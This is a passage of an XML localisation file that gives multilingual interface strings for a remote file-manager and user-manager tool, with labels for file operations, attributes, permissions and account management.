<ja>再解析ポイントをサポートします</ja>
<zh>支持重分析点</zh>
<ko>재분석 지점 지원</ko>
<en-gb>Supports reparse points</en-gb>
<hu>Támogatja az újraelemzési pontokat</hu>
<pt-br>Suporta pontos de novas análises</pt-br>
<nl>Biedt ondersteuning voor reparsepunten</nl>
</msg>
<msg name="S">
<en>Supports sparse files</en>
<de>Sparse Files unterstützt</de>
<es>Compatible con archivos dispersos</es>
<fr>Supporte les fichiers sparse (sparse files)</fr>
<it>Supporta i file di tipo sparse</it>
<ru>Поддерживает разреженные файлы</ru>
<ja>スパース ファイルをサポートします</ja>
<zh>支持稀疏文件</zh>
<ko>스파스 파일 지원</ko>
<en-gb>Supports sparse files</en-gb>
<hu>Támogatja a ritka fájlokat</hu>
<pt-br>Suporta arquivos esparsos</pt-br>
<nl>Biedt ondersteuning voor verspreide bestanden</nl>
</msg>
<msg name="Q">
<en>Supports quotas</en>
<de>Quotas unterstützt</de>
<es>Compatible con cuotas</es>
<fr>Supporte les quotas</fr>
<it>Supporta le quote</it>
<ru>Поддерживает квоты</ru>
<ja>割り当てをサポートします</ja>
<zh>支持配额</zh>
<ko>할당량 지원</ko>
<en-gb>Supports quotas</en-gb>
<hu>Támogatja a kvótákat</hu>
<pt-br>Suporta cotas</pt-br>
<nl>Biedt ondersteuning voor stationsquota's</nl>
</msg>
</cat>
<msg name="PERM">
<en>Permissions</en>
<de>Berechtigungen</de>
<es>Permisos</es>
<fr>Permissions</fr>
<it>Autorizzazioni</it>
<ru>Разрешения</ru>
<ja>権限</ja>
<zh>权限</zh>
<ko>권한</ko>
<en-gb>Permissions</en-gb>
<hu>Engedélyek</hu>
<pt-br>Permissões</pt-br>
<nl>Toestemmingen</nl>
</msg>
<msg name="OWNER">
<en>Owner</en>
<de>Besitzer</de>
<es>Propietario</es>
<fr>Propriétaire</fr>
<it>Proprietario</it>
<ru>Владелец</ru>
<ja>所有者</ja>
<zh>所有者</zh>
<ko>소유자</ko>
<en-gb>Owner</en-gb>
<hu>Tulajdonos</hu>
<pt-br>Proprietário</pt-br>
<nl>Eigenaar</nl>
</msg>
<msg name="VSIZE">
<en>Size</en>
<de>Größe</de>
<es>Tamaño</es>
<fr>Taille</fr>
<it>Dimensione</it>
<ru>Размер</ru>
<ja>サイズ</ja>
<zh>大小</zh>
<ko>크기</ko>
<en-gb>Size</en-gb>
<hu>Méret</hu>
<pt-br>Tamanho</pt-br>
<nl>Grootte</nl>
</msg>
<msg name="VFREE">
<en>Free</en>
<de>Frei</de>
<es>Libre</es>
<fr>Libre</fr>
<it>Libero</it>
<ru>Свободно</ru>
<ja>空き領域</ja>
<zh>空闲</zh>
<ko>사용 가능</ko>
<en-gb>Free</en-gb>
<hu>Szabad</hu>
<pt-br>Livre</pt-br>
<nl>Beschikbaar</nl>
</msg>
<msg name="USEDP">
<en>% in use</en>
<de>Nutzung in %</de>
<es>%en uso</es>
<fr>% utilisés</fr>
<it>% in uso</it>
<ru>% используется</ru>
<ja>% 使用中</ja>
<zh>已使用的百分比</zh>
<ko>% 사용</ko>
<en-gb>% in use</en-gb>
<hu>% használatban</hu>
<pt-br>% em uso</pt-br>
<nl>% in gebruik</nl>
</msg>
<msg name="SUM">
<en>Total</en>
<de>Total</de>
<es>Total</es>
<fr>Total</fr>
<it>Totale</it>
<ru>Всего</ru>
<ja>合計</ja>
<zh>总计</zh>
<ko>총</ko>
<en-gb>Total</en-gb>
<hu>Összes</hu>
<pt-br>Total</pt-br>
<nl>Totaal</nl>
</msg>
<msg name="TIMEC">
<en>Created</en>
<de>Erstellt</de>
<es>Creado</es>
<fr>Créé</fr>
<it>Creato</it>
<ru>Создано</ru>
<ja>作成済み</ja>
<zh>已创建</zh>
<ko>만든 날짜</ko>
<en-gb>Created</en-gb>
<hu>Létrehozott</hu>
<pt-br>Criado</pt-br>
<nl>Gemaakt op</nl>
</msg>
<msg name="TIMEM">
<en>Modified</en>
<de>Geändert</de>
<es>Modificado</es>
<fr>Modifié</fr>
<it>Modificato</it>
<ru>Изменено</ru>
<ja>修正済み</ja>
<zh>已修改</zh>
<ko>수정한 날짜</ko>
<en-gb>Modified</en-gb>
<hu>Módosított</hu>
<pt-br>Modificado</pt-br>
<nl>Gewijzigd op</nl>
</msg>
<msg name="TIMEA">
<en>Accessed</en>
<de>Letzter Zugriff</de>
<es>Último acceso</es>
<fr>Accédé</fr>
<it>Ultimo accesso</it>
<ru>Выполнен доступ</ru>
<ja>アクセス済み</ja>
<zh>已访问</zh>
<ko>액세스한 날짜</ko>
<en-gb>Accessed</en-gb>
<hu>Használt</hu>
<pt-br>Acessado</pt-br>
<nl>Laatst geopend op</nl>
</msg>
<msg name="SHARED">
<en>Shared as</en>
<de>Freigegeben als</de>
<es>Compartido como</es>
<fr>Partagé en tant que</fr>
<it>Condividi con nome</it>
<ru>Общий ресурс</ru>
<ja>共有名</ja>
<zh>共享为</zh>
<ko>공유 자격</ko>
<en-gb>Shared as</en-gb>
<hu>Megosztva, mint:</hu>
<pt-br>Compartilhado como</pt-br>
<nl>Gedeeld als</nl>
</msg>
<msg name="DIR">
<en>Directory</en>
<de>Verzeichnis</de>
<es>Directorio</es>
<fr>Directory</fr>
<it>Directory</it>
<ru>Каталог</ru>
<ja>ディレクトリ</ja>
<zh>目录</zh>
<ko>디렉터리</ko>
<en-gb>Directory</en-gb>
<hu>Könyvtár</hu>
<pt-br>Diretório</pt-br>
<nl>Map</nl>
</msg>
<msg name="DIRSHORT">
<en>dir</en>
<de>Dir</de>
<es>dir</es>
<fr>dir</fr>
<it>dir</it>
<ru>dir</ru>
<ja>dir</ja>
<zh>目录</zh>
<ko>디렉터리</ko>
<en-gb>dir</en-gb>
<hu>dir</hu>
<pt-br>dir</pt-br>
<nl>map</nl>
</msg>
<msg name="FILE">
<en>File</en>
<de>Datei</de>
<es>Archivo</es>
<fr>Fichier</fr>
<it>File</it>
<ru>Файл</ru>
<ja>ファイル</ja>
<zh>文件</zh>
<ko>파일</ko>
<en-gb>File</en-gb>
<hu>Fájl</hu>
<pt-br>Arquivo</pt-br>
<nl>Bestand</nl>
</msg>
<msg name="SAVEAS">
<en>Save as</en>
<de>Speichern als</de>
<es>Guardar como</es>
<fr>Sauvegarder sous</fr>
<it>Salva con nome</it>
<ru>Сохранить как</ru>
<ja>保存名</ja>
<zh>另存为</zh>
<ko>다른 이름으로 저장</ko>
<en-gb>Save as</en-gb>
<hu>Mentés másként</hu>
<pt-br>Salvar como</pt-br>
<nl>Opslaan als</nl>
</msg>
<msg name="SAVE">
<en>Save</en>
<de>Speichern</de>
<fr>Sauvegarde</fr>
<es>Guardar</es>
<it>Salva</it>
<ru>Сохранить</ru>
<ja>保存</ja>
<zh>保存</zh>
<ko>저장</ko>
<en-gb>Save</en-gb>
<hu>Mentés</hu>
<pt-br>Salvar</pt-br>
<nl>Opslaan</nl>
</msg>
<msg name="OVERWRITE">
<en>Overwrite existing files</en>
<de>Existierende Dateien überschreiben</de>
<es>Sobrescribir archivo existente</es>
<fr>Surécrire les fichiers existants</fr>
<it>Sovrascrivi file esistenti</it>
<ru>Перезаписать существующие файлы</ru>
<ja>既存のファイルを上書きする</ja>
<zh>覆盖现有文件</zh>
<ko>기존 파일 덮어쓰기</ko>
<en-gb>Overwrite existing files</en-gb>
<hu>A meglévő fájlok felülírása</hu>
<pt-br>Substituir arquivos existentes</pt-br>
<nl>Bestaande bestanden overschrijven</nl>
</msg>
<msg name="SUREDELETE1">
<en>Are you sure you want to delete these</en>
<de>Sind Sie sicher, dass Sie diese Dateien</de>
<es>¿Está seguro de que desea eliminar estos</es>
<fr>Êtes vous sûr de vouloir supprimer</fr>
<it>Eliminare queste</it>
<ru>Удалить эти</ru>
<ja>これらの項目を削除</ja>
<zh>是否确实要删除这些</zh>
<ko>이 항목을</ko>
<en-gb>Are you sure you want to delete these</en-gb>
<hu>Biztosan törölni szeretné ezeket az</hu>
<pt-br>Tem certeza de que deseja excluir estes</pt-br>
<nl>Weet u zeker dat u deze</nl>
</msg>
<msg name="SUREDELETE2">
<en>items?</en>
<de>löschen wollen?</de>
<es>elementos?</es>
<fr>éléments ?</fr>
<it>voci?</it>
<ru>элементы?</ru>
<zh>项目?</zh>
<ko>삭제하시겠습니까?</ko>
<en-gb>items?</en-gb>
<ja>しますか?</ja>
<hu>elemeket?</hu>
<pt-br>Itens?</pt-br>
<nl>items wilt verwijderen?</nl>
</msg>
<msg name="SAVEASNOTE">
<en>Leave the field blank to save the file using its original filename</en>
<de>Anmerkung: Lassen Sie das Feld leer, um die Datei mit dem Originalnamen zu speichern</de>
<es>Deje el campo en blanco para guardar el archivo utilizando su nombre de archivo original</es>
<fr>Laissez le champ libre si vous désirez sauver le fichier avec son nom original</fr>
<it>Per salvare il file con il suo nome originale, lasciare il campo vuoto</it>
<ru>Оставьте поле пустым, чтобы сохранит файл под своим исходным именем</ru>
<ja>元のファイル名を使用しているファイルを保存するために、このフィールドは空欄のままにします。</ja>
<zh>将此字段保留为空白,以使用其原文件名保存该文件</zh>
<ko>원래 파일 이름을 사용하여 파일을 저장하려면 이 필드는 비워 두십시오</ko>
<en-gb>Leave the field blank to save the file using its original filename</en-gb>
<hu>Hagyja üresen a mezőt, hogy a fájlt eredeti fájlnévvel mentse</hu>
<pt-br>Deixe o campo em branco para salvar o arquivo usando o nome de arquivo original</pt-br>
<nl>Vul in het veld niets in als u het bestand wilt opslaan met de oorspronkelijke bestandsnaam</nl>
</msg>
<cat name="TIP">
<msg name="COPY">
<en>Copy</en>
<de>Kopieren</de>
<es>Copiar</es>
<fr>Copier</fr>
<it>Copia</it>
<ru>Копировать</ru>
<ja>コピー</ja>
<zh>复制</zh>
<ko>복사</ko>
<en-gb>Copy</en-gb>
<hu>Másolás</hu>
<pt-br>Copiar</pt-br>
<nl>Kopiëren</nl>
</msg>
<msg name="CUT">
<en>Cut</en>
<de>Ausschneiden</de>
<es>Cortar</es>
<fr>Couper</fr>
<it>Taglia</it>
<ru>Вырезать</ru>
<ja>切り取り</ja>
<zh>剪切</zh>
<ko>잘라내기</ko>
<en-gb>Cut</en-gb>
<hu>Kivágás</hu>
<pt-br>Recortar</pt-br>
<nl>Knippen</nl>
</msg>
<msg name="PASTE">
<en>Paste</en>
<de>Einfügen</de>
<es>Pegar</es>
<fr>Coller</fr>
<it>Incolla</it>
<ru>Вставить</ru>
<ja>貼り付け</ja>
<zh>粘贴</zh>
<ko>붙여넣기</ko>
<en-gb>Paste</en-gb>
<hu>Beillesztés</hu>
<pt-br>Colar</pt-br>
<nl>Plakken</nl>
</msg>
<msg name="RENAME">
<en>Rename</en>
<de>Umbenennen</de>
<es>Cambiar nombre</es>
<fr>Renommer</fr>
<it>Rinomina</it>
<ru>Переименовать</ru>
<ja>名前の変更</ja>
<zh>重命名</zh>
<ko>이름 바꾸기</ko>
<en-gb>Rename</en-gb>
<hu>Átnevezés</hu>
<pt-br>Renomear</pt-br>
<nl>Naam wijzigen</nl>
</msg>
<msg name="EXECUTE">
<en>Execute file</en>
<de>Datei ausführen</de>
<es>Ejecutar archivo</es>
<fr>Exécuter le fichier</fr>
<it>Esegui file</it>
<ru>Выполнить файл</ru>
<ja>ファイルの実行</ja>
<zh>执行文件</zh>
<ko>파일 실행</ko>
<en-gb>Execute file</en-gb>
<hu>Fájl végrehajtása</hu>
<pt-br>Executar arquivo</pt-br>
<nl>Bestand uitvoeren</nl>
</msg>
<msg name="EDITATTR">
<en>Change attributes for the selected files or folders</en>
<de>Ändert die Attribute der markierten Dateien und Ordner</de>
<es>Cambiar los atributos de las carpetas o los archivos seleccionados</es>
<fr>Changer les attributs pour les fichiers/répertoires sélectionnés</fr>
<it>Cambia gli attributi per i file o le cartelle selezionate</it>
<ru>Изменить атрибуты выбранных файлов или каталогов</ru>
<ja>選択したファイルまたはフォルダの属性を変更</ja>
<zh>更改选定文件或文件夹的属性</zh>
<ko>선택한 파일 또는 폴더 특성 변경</ko>
<en-gb>Change attributes for the selected files or folders</en-gb>
<hu>A kiválasztott fájlok vagy mappák attribútumainak módosítása</hu>
<pt-br>Alterar atributos dos arquivos ou pastas selecionados</pt-br>
<nl>Kenmerken wijzigen voor de geselecteerde bestanden of mappen</nl>
</msg>
<msg name="SETPERM">
<en>Change access permissions for the selected files or folders</en>
<de>Ändert die Zugriffsberechtigungen für die markierten Dateien und Ordner</de>
<es>Cambiar los permisos de acceso de las carpetas o los archivos seleccionados</es>
<fr>Changez les autorisations d'accès pour les fichiers/répertoires sélectionnés</fr>
<it>Cambia le autorizzazioni all'accesso per i file o le cartelle selezionate</it>
<ru>Изменить права доступа к выбранным файлам или каталогам</ru>
<ja>選択したファイルまたはフォルダのアクセス許可を変更</ja>
<zh>更改选定文件或文件夹的访问权限</zh>
<ko>선택한 파일 또는 폴더에 대한 액세스 권한 변경</ko>
<en-gb>Change access permissions for the selected files or folders</en-gb>
<hu>A kiválasztott fájlok vagy mappák hozzáférési engedélyeinek módosítása</hu>
<pt-br>Alterar permissões de acesso dos arquivos ou pastas selecionados</pt-br>
<nl>Toestemmingen voor toegang wijzigen voor de geselecteerde bestanden of mappen</nl>
</msg>
<msg name="CREATEDIR">
<en>Create new folder</en>
<de>Neuen Ordner erstellen</de>
<es>Crear nueva carpeta</es>
<fr>Créer le nouveau répertoire</fr>
<it>Crea nuova cartella</it>
<ru>Создать новую папку</ru>
<ja>新しいフォルダの作成</ja>
<zh>创建新文件夹</zh>
<ko>새 폴더 만들기</ko>
<en-gb>Create new folder</en-gb>
<hu>Új mappa létrehozása</hu>
<pt-br>Criar nova pasta</pt-br>
<nl>Nieuwe map maken</nl>
</msg>
<msg name="UPLOAD">
<en>Upload files into this folder</en>
<de>Datei-Upload in diesen Ordner</de>
<es>Subir archivos a esta carpeta</es>
<fr>Téléchargez (upload) les dossiers dans ce répertoire</fr>
<it>Upload dei file in questa cartella</it>
<ru>Загрузить файлы в эту папку</ru>
<ja>このフォルダにファイルをアップロード</ja>
<zh>将文件上载至此文件夹</zh>
<ko>파일을 이 폴더에 업로드</ko>
<en-gb>Upload files into this folder</en-gb>
<hu>Fájlok feltöltése ebbe a mappába</hu>
<pt-br>Carregar arquivos na pasta</pt-br>
<nl>Bestanden uploaden naar deze map</nl>
</msg>
<msg name="DOWNLOAD">
<en>Download selected files to your computer</en>
<de>Download der markierten Dateien auf Ihren Computer</de>
<es>Descargar los archivos seleccionados a su ordenador</es>
<fr>Télécharger les fichiers sélectionnés sur votre machine</fr>
<it>Download dei file selezionati nel computer</it>
<ru>Загрузить выбранные файлы на свой компьютер</ru>
<ja>選択したファイルをコンピュータにダウンロード</ja>
<zh>将选定文件下载至您的计算机</zh>
<ko>선택한 파일을 컴퓨터에 다운로드</ko>
<en-gb>Download selected files to your computer</en-gb>
<hu>A kiválasztott fájlok letöltése a számítógépre</hu>
<pt-br>Baixar os arquivos selecionados no computador</pt-br>
<nl>De geselecteerde bestanden naar uw computer downloaden</nl>
</msg>
<msg name="FIND">
<en>Find files</en>
<de>Dateien suchen</de>
<es>Buscar archivos</es>
<fr>Trouver les fichiers</fr>
<it>Trova file</it>
<ru>Найти файлы</ru>
<ja>ファイルの検索</ja>
<zh>查找文件</zh>
<ko>파일 찾기</ko>
<en-gb>Find files</en-gb>
<hu>Fájlkeresés</hu>
<pt-br>Localizar arquivos</pt-br>
<nl>Bestanden zoeken</nl>
</msg>
<msg name="SHARING">
<en>Set sharing properties of the current directory</en>
<de>Setzt die Freigabeeigenschaften für den aktuellen Ordner</de>
<es>Establecer propiedades de uso compartido del directorio actual</es>
<fr>Régler les propriétés de partage du répertoire courant</fr>
<it>Imposta le proprietà di condivisione per la directory corrente</it>
<ru>Установить свойства общего доступа для текущего каталога</ru>
<ja>現在のディレクトリの共有プロパティを設定</ja>
<zh>设置当前目录的共享属性</zh>
<ko>현재 디렉터리의 공유 속성 설정</ko>
<en-gb>Set sharing properties of the current directory</en-gb>
<hu>A jelenlegi könyvtár megosztási tulajdonságainak beállítása</hu>
<pt-br>Definir propriedades de compartilhamento do diretório atual</pt-br>
<nl>Eigenschappen voor gedeeld gebruik van de huidige map instellen</nl>
</msg>
<msg name="GO">
<en>Jump to this folder</en>
<de>Springt zu diesem Ordner</de>
<es>Ir a esta carpeta</es>
<fr>Aller à ce répertoire</fr>
<it>Passa a questa cartella</it>
<ru>Перейти к данной папке</ru>
<ja>このフォルダにジャンプ</ja>
<zh>跳转到此文件夹</zh>
<ko>이 폴더로 이동</ko>
<en-gb>Jump to this folder</en-gb>
<hu>Ugrás erre a mappára</hu>
<pt-br>Pular para esta pasta</pt-br>
<nl>Overschakelen naar deze map</nl>
</msg>
</cat>
<msg name="UPLOADTITLE">
<en>File upload</en>
<de>Datei Upload</de>
<es>Subida del archivo</es>
<fr>Téléchargement de fichier (upload)</fr>
<it>Upload dei file</it>
<ru>Отправка файла</ru>
<ja>ファイルのアップロード</ja>
<zh>文件上载</zh>
<ko>파일 업로드</ko>
<en-gb>File upload</en-gb>
<hu>Fájfeltöltés</hu>
<pt-br>Upload do arquivo</pt-br>
<nl>Bestand uploaden</nl>
</msg>
<msg name="UPLOADLIMIT">
<en>The total upload file size cannot exceed 10MB. For larger uploads use File Manager.</en>
<de>Anmerkung: Die Dateigröße für den Upload kann 10 MB nicht überschreiten. Für größere
Uploads verwenden Sie den Dateitransfer.</de>
<es>El tamaño total del archivo que se desea subir no puede exceder de 10 MB. Para tamaños superiores, utilice Gestor de archivos.</es>
<fr>Le volume de fichiers téléchargés ne peut pas excéder 10MB. Pour de plus grands téléchargements merci d'employer le transfert de fichier.</fr>
<it>La dimensione totale massima dei file di upload non può superare 10 MB. Per upload di dimensioni superiori utilizzare Gestione file.</it>
<ru>Суммарный объект отправляемого файла не может превышать 10 Мб. Для отправки более крупных файлов используйте диспетчер файлов.</ru>
<ja>アップロード ファイルの合計サイズは最大 10MB です。これより大きいサイズのアップロードには、ファイル管理を使用してください。</ja>
<zh>上载文件的总大小不能超过 10 MB。对于更大的文件上载,请使用文件管理器。</zh>
<ko>전체 업로드 파일 크기는 10MB를 초과할 수 없습니다. 대형 업로드의 경우 파일 관리자를 사용해야 합니다.</ko>
<en-gb>The total upload file size cannot exceed 10MB. For larger uploads use File Manager.</en-gb>
<hu>A teljes feltöltött fájlméret nem haladhatja meg a 10 MB-ot. Az ennél nagyobb feltöltésekhez használja a Fájlkezelőt</hu>
<pt-br>O tamanho total do arquivo carregado não pode exceder 10 MB. Para uploads maiores, use o Gerenciador de arquivos</pt-br>
<nl>De totale bestandsgrootte voor het uploaden van bestanden mag niet groter zijn dan 10 MB. Gebruik Bestandsbeheer als u grotere bestanden wilt uploaden.</nl>
</msg>
<msg name="SOURCE">
<en>Source</en>
<de>Quelle</de>
<es>Origen</es>
<fr>Source</fr>
<it>Origine</it>
<ru>Источник</ru>
<ja>ソース</ja>
<zh>源</zh>
<ko>원본</ko>
<en-gb>Source</en-gb>
<hu>Forrás</hu>
<pt-br>Origem</pt-br>
<nl>Bron</nl>
</msg>
<msg name="TARGET">
<en>Target</en>
<de>Ziel</de>
<es>Destino</es>
<fr>Cible</fr>
<it>Destinazione</it>
<ru>Цель</ru>
<ja>ターゲット</ja>
<zh>目标</zh>
<ko>대상</ko>
<en-gb>Target</en-gb>
<hu>Cél</hu>
<pt-br>Destino</pt-br>
<nl>Doel</nl>
</msg>
<cat name="ATTR">
<msg name="SET">
<en>set</en>
<de>Attribut setzen</de>
<es>establecer</es>
<fr>sélectionner</fr>
<it>imposta</it>
<ru>установить</ru>
<ja>設定</ja>
<zh>设置</zh>
<ko>설정</ko>
<en-gb>set</en-gb>
<hu>beállítás</hu>
<pt-br>definir</pt-br>
<nl>instellen</nl>
</msg>
<msg name="KEEP">
<en>keep</en>
<de>Attribut nicht ändern</de>
<es>mantener</es>
<fr>garder</fr>
<it>mantieni</it>
<ru>сохранить</ru>
<ja>保持</ja>
<zh>保持</zh>
<ko>유지</ko>
<en-gb>keep</en-gb>
<hu>megtart</hu>
<pt-br>manter</pt-br>
<nl>behouden</nl>
</msg>
<msg name="CLEAR">
<en>clear</en>
<de>Attribut entfernen</de>
<es>limpiar</es>
<fr>désélectionner</fr>
<it>cancella</it>
<ru>очистить</ru>
<ja>消去</ja>
<zh>清除</zh>
<ko>지우기</ko>
<en-gb>clear</en-gb>
<hu>törlés</hu>
<pt-br>limpar</pt-br>
<nl>wissen</nl>
</msg>
<msg name="archive">
<en>archive</en>
<de>Archivierbar</de>
<es>archivar</es>
<fr>archive</fr>
<it>archivia</it>
<ru>архив</ru>
<ja>アーカイブ</ja>
<zh>存档</zh>
<ko>보관</ko>
<en-gb>archive</en-gb>
<hu>archívum</hu>
<pt-br>arquivar</pt-br>
<nl>archiveren</nl>
</msg>
<msg name="rdonly">
<en>read only</en>
<de>Schreibgeschützt</de>
<es>sólo lectura</es>
<fr>lecture seule</fr>
<it>sola lettura</it>
<ru>только для чтения</ru>
<ja>読み取り専用</ja>
<zh>只读</zh>
<ko>읽기 전용</ko>
<en-gb>read only</en-gb>
<hu>csak olvasható</hu>
<pt-br>somente leitura</pt-br>
<nl>alleen-lezen</nl>
</msg>
<msg name="hidden">
<en>hidden</en>
<de>Versteckt</de>
<es>oculto</es>
<fr>caché</fr>
<it>nascosto</it>
<ru>скрытый</ru>
<ja>隠す</ja>
<zh>已隐藏</zh>
<ko>숨김</ko>
<en-gb>hidden</en-gb>
<hu>rejtett</hu>
<pt-br>oculto</pt-br>
<nl>verborgen</nl>
</msg>
<msg name="system">
<en>system</en>
<de>System</de>
<es>sistema</es>
<fr>système</fr>
<it>sistema</it>
<ru>системный</ru>
<ja>システム</ja>
<zh>系统</zh>
<ko>시스템</ko>
<en-gb>system</en-gb>
<hu>rendszer</hu>
<pt-br>sistema</pt-br>
<nl>systeembestand</nl>
</msg>
<msg name="SUBFOLDERS">
<en>Set in all subfolders</en>
<de>In allen Unterordner setzen</de>
<es>Establecer en todas las subcarpetas</es>
<fr>Appliquer à tous les sous-répertoires</fr>
<it>Imposta in tutte le cartelle secondarie</it>
<ru>Установить во всех подпапках</ru>
<ja>すべてのサブフォルダを組み込む</ja>
<zh>在所有子文件夹中进行设置</zh>
<ko>모든 하위 폴더에 설정</ko>
<en-gb>Set in all subfolders</en-gb>
<hu>Beállítás minden almappában</hu>
<pt-br>Definir em todas as subpastas</pt-br>
<nl>Instellen voor alle submappen</nl>
</msg>
</cat>
</cat>
<cat name="ADMIN">
<!-- user manager messages -->
<cat name="USERMANAGER">
<msg name="TITLE">
<en>User Manager</en>
<de>Benutzerverwaltung</de>
<es>Gestor de usuarios</es>
<fr>Gestionnaire des utilisateurs</fr>
<it>Gestione utente</it>
<ru>Диспетчер пользователей</ru>
<ja>ユーザ マネージャ</ja>
<zh>用户管理器</zh>
<ko>사용자 관리자</ko>
<en-gb>User Manager</en-gb>
<hu>Felhasználó-kezelő</hu>
<pt-br>Gerenciador de usuários</pt-br>
<nl>Gebruikersbeheer</nl>
</msg>
<msg name="USERS">
<en>Users</en>
<de>Benutzer</de>
<es>Usuarios</es>
<fr>Utilisateurs</fr>
<it>Utenti</it>
<ru>Пользователи</ru>
<ja>ユーザ</ja>
<zh>用户</zh>
<ko>사용자</ko>
<en-gb>Users</en-gb>
<hu>Felhasználók</hu>
<pt-br>Usuários</pt-br>
<nl>Gebruikers</nl>
</msg>
<msg name="GROUPS">
<en>Groups</en>
<de>Gruppen</de>
<es>Grupos</es>
<fr>Groupes</fr>
<it>Gruppi</it>
<ru>Группы</ru>
<ja>グループ</ja>
<zh>组</zh>
<ko>그룹</ko>
<en-gb>Groups</en-gb>
<hu>Csoportok</hu>
<pt-br>Grupos</pt-br>
<nl>Groepen</nl>
</msg>
<msg name="LGROUPNAME">
<en>Local Group</en>
<de>Lokale Gruppe</de>
<es>Grupo local</es>
<fr>Groupe local</fr>
<it>Gruppo locale</it>
<ru>Локальная группа</ru>
<ja>ローカル グループ</ja>
<zh>本地组</zh>
<ko>로컬 그룹</ko>
<en-gb>Local Group</en-gb>
<hu>Helyi csoport</hu>
<pt-br>Grupo local</pt-br>
<nl>Lokale groep</nl>
</msg>
<msg name="GGROUPNAME">
<en>Global Group</en>
<de>Globale Gruppe</de>
<es>Grupo global</es>
<fr>Groupe global</fr>
<it>Gruppo globale</it>
<ru>Глобальная группа</ru>
<ja>グローバル グループ</ja>
<zh>全局组</zh>
<ko>글로벌 그룹</ko>
<en-gb>Global Group</en-gb>
<hu>Globális csoportok</hu>
<pt-br>Grupo global</pt-br>
<nl>Globale groep</nl>
</msg>
<msg name="EDITUSER">
<en>Manage user "%NAME"</en>
<de>Benutzer "%NAME" bearbeiten</de>
<es>Gestionar usuario "%NAME"</es>
<fr>Editez l'utilisateur "%NAME"</fr>
<it>Gestisci utente "%NAME"</it>
<ru>Управлять учетной записью "%NAME"</ru>
<ja>ユーザ "%NAME" の管理</ja>
<zh>管理用户“%NAME”</zh>
<ko>"%NAME" 사용자 관리</ko>
<en-gb>Manage user "%NAME"</en-gb>
<hu>"%NAME" felhasználó kezelése</hu>
<pt-br>Gerenciar usuário "%NAME"</pt-br>
<nl>De gebruiker "%NAME" beheren</nl>
</msg>
<msg name="EDITGROUP.LOCAL">
<en>Manage local group "%NAME"</en>
<de>Lokale Gruppe "%NAME" bearbeiten</de>
<es>Gestionar grupo local "%NAME"</es>
<fr>Editez le groupe local "%NAME"</fr>
<it>Gestisci gruppo locale "%NAME"</it>
<ru>Управлять локальной группой "%NAME"</ru>
<ja>ローカル グループ "%NAME" の管理</ja>
<zh>管理本地组“%NAME”</zh>
<ko>로컬 그룹 "%NAME" 관리</ko>
<en-gb>Manage local group "%NAME"</en-gb>
<hu>"%NAME" helyi csoport kezelése</hu>
<pt-br>Gerenciar grupo local "%NAME"</pt-br>
<nl>De lokale groep "%NAME" beheren</nl>
</msg>
<msg name="EDITGROUP.GLOBAL">
<en>Manage global group "%NAME"</en>
<de>Globale Gruppe "%NAME" bearbeiten</de>
<es>Gestionar grupo global "%NAME"</es>
<fr>Editez le groupe global "%NAME"</fr>
<it>Gestisci gruppo globale "%NAME"</it>
<ru>Управлять глобальной группой "%NAME"</ru>
<ja>グローバル グループ "%NAME" の管理</ja>
<zh>管理全局组“%NAME”</zh>
<ko>글로벌 그룹 "%NAME" 관리</ko>
<en-gb>Manage global group "%NAME"</en-gb>
<hu>"%NAME" globális csoport kezelése</hu>
<pt-br>Gerenciar grupo global "%NAME"</pt-br>
<nl>De globale groep "%NAME" beheren</nl>
</msg>
<msg name="ADDGROUP.LOCAL">
<en>Add new local group</en>
<de>Neue lokale Gruppe anlegen</de>
<es>Agregar nuevo grupo local</es>
<fr>Ajoutez un nouveau groupe local</fr>
<it>Aggiungi nuovo gruppo locale</it>
<ru>Добавить новую локальную группу</ru>
<ja>新しいローカル グループの追加</ja>
<zh>添加新的本地组</zh>
<ko>새 로컬 그룹 추가</ko>
<en-gb>Add new local group</en-gb>
<hu>Új helyi csoport hozzáadása</hu>
<pt-br>Adicionar novo grupo local</pt-br>
<nl>Nieuwe lokale groep toevoegen</nl>
</msg>
<msg name="ADDGROUP.GLOBAL">
<en>Add new global group</en>
<de>Neue globale Gruppe anlegen</de>
<es>Agregar nuevo grupo global</es>
<fr>Ajoutez un nouveau groupe global</fr>
<it>Aggiungi nuovo gruppo globale</it>
<ru>Добавить новую глобальную группу</ru>
<ja>新しいグローバル グループの追加</ja>
<zh>添加新的全局组</zh>
<ko>새 글로벌 그룹 추가</ko>
<en-gb>Add new global group</en-gb>
<hu>Új globális csoport hozzáadása</hu>
<pt-br>Adicionar novo grupo global</pt-br>
<nl>Nieuw globale groep toevoegen</nl>
</msg>
<msg name="ADDUSER">
<en>Add new user</en>
<de>Neuen Benutzer anlegen</de>
<es>Agregar nuevo usuario</es>
<fr>Ajoutez un nouvel utilisateur</fr>
<it>Aggiungi nuovo utente</it>
<ru>Добавить нового пользователя</ru>
<ja>新しいユーザの追加</ja>
<zh>添加新用户</zh>
<ko>새 사용자 추가</ko>
<en-gb>Add new user</en-gb>
<hu>Új felhasználó hozzáadása</hu>
<pt-br>Adicionar novo usuário</pt-br>
<nl>Nieuwe gebruiker toevoegen</nl>
</msg>
<msg name="CONFIRMDELUSER">
<en>Each user account is represented by an unique identifier which is independent
of the user name. Once this user account is deleted, even creating an identically
named user account in the future will not restore access to resources which
currently name this user account in the access control list. Are you sure you
want delete the account?</en>
<de>Jedes Benutzerkonto benötigt eine eindeutige Kennung die nicht mit dem
Benutzernamen identisch sein darf. Bitte beachten: Falls Sie ein Benutzerkonto
löschen verlieren Sie die Zugriffsberechtigungen auf alle Elemente auf die nur
dieses Konto Zugriffsberechtigungen hatte, auch wenn Sie nachfolgend erneut
ein Konto gleichen Namens anlegen. Sind Sie sicher, dass Sie das Konto jetzt
löschen wollen?</de>
<es>Cada cuenta de usuario está representada por un identificador único que es independiente
del nombre de usuario. Una vez que se elimine la cuenta de usuario, incluso si se crea
en el futuro una cuenta de usuario con el mismo nombre, no se restablecerá el acceso a los recursos asignados
en la actualidad a esta cuenta de usuario en la lista de control de acceso. ¿Está seguro de
que desea eliminar esta cuenta?</es>
<fr>Chaque compte utilisateur est représenté par un identifiant unique qui est indépendant 
du nom utilisateur. Une fois que ce compte utilisateur est supprimé, le fait de créer un compte
avec un nom identique ne restaurera pas les l'accès aux ressources qui 
sont actuellement affectées à ce compte utilisateur dans la liste des Contrôle d'accès. Êtes-vous sûr 
de vouloir supprimer ce compte ?</fr>
